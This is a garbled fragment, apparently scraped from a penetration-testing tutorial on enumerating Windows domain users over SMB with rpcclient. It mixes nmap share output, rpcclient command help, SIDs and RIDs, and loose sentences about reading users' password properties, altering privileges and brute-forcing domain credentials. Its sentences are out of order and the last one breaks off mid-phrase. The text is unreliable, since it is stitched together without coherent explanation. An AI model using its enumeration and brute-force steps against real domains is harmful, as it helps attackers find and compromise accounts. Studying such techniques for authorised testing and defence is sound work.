MAC Address: 00:50:56:XX:XX:XX (VMware) But it is also possible to get the password properties of individual users using the getusrdompwinfo command with the users RID. It is also possible to manipulate the privileges of that SID to make them either vulnerable to a particular privilege or remove the privilege of a user altogether. If these kinds of features are not enabled on the domain, then it is possible to brute force the credentials on the domain. netname: ADMIN$ | Type: STYPE_DISKTREE_HIDDEN | \\[ip]\IPC$: In the demonstration, the user with RID 0x1f4 was enumerated regarding their password properties. To explain how this fits in, let's look at the examples below: When an object is created within a domain, the number above (SID) will be combined with a RID to make a unique value used to represent the object. | smb-vuln-ms06-025: During that time, the designers of the rpcclient might be clueless about the importance of this tool as a penetration testing tool. root S-1-5-21-1835020781-2383529660-3657267081-1000 (User: 1) sinkdata Sink data lewis S-1-5-21-1835020781-2383529660-3657267081-2002 (User: 1) lsalookupprivvalue Get a privilege value given its name Server Message Block in modern language is also known as.
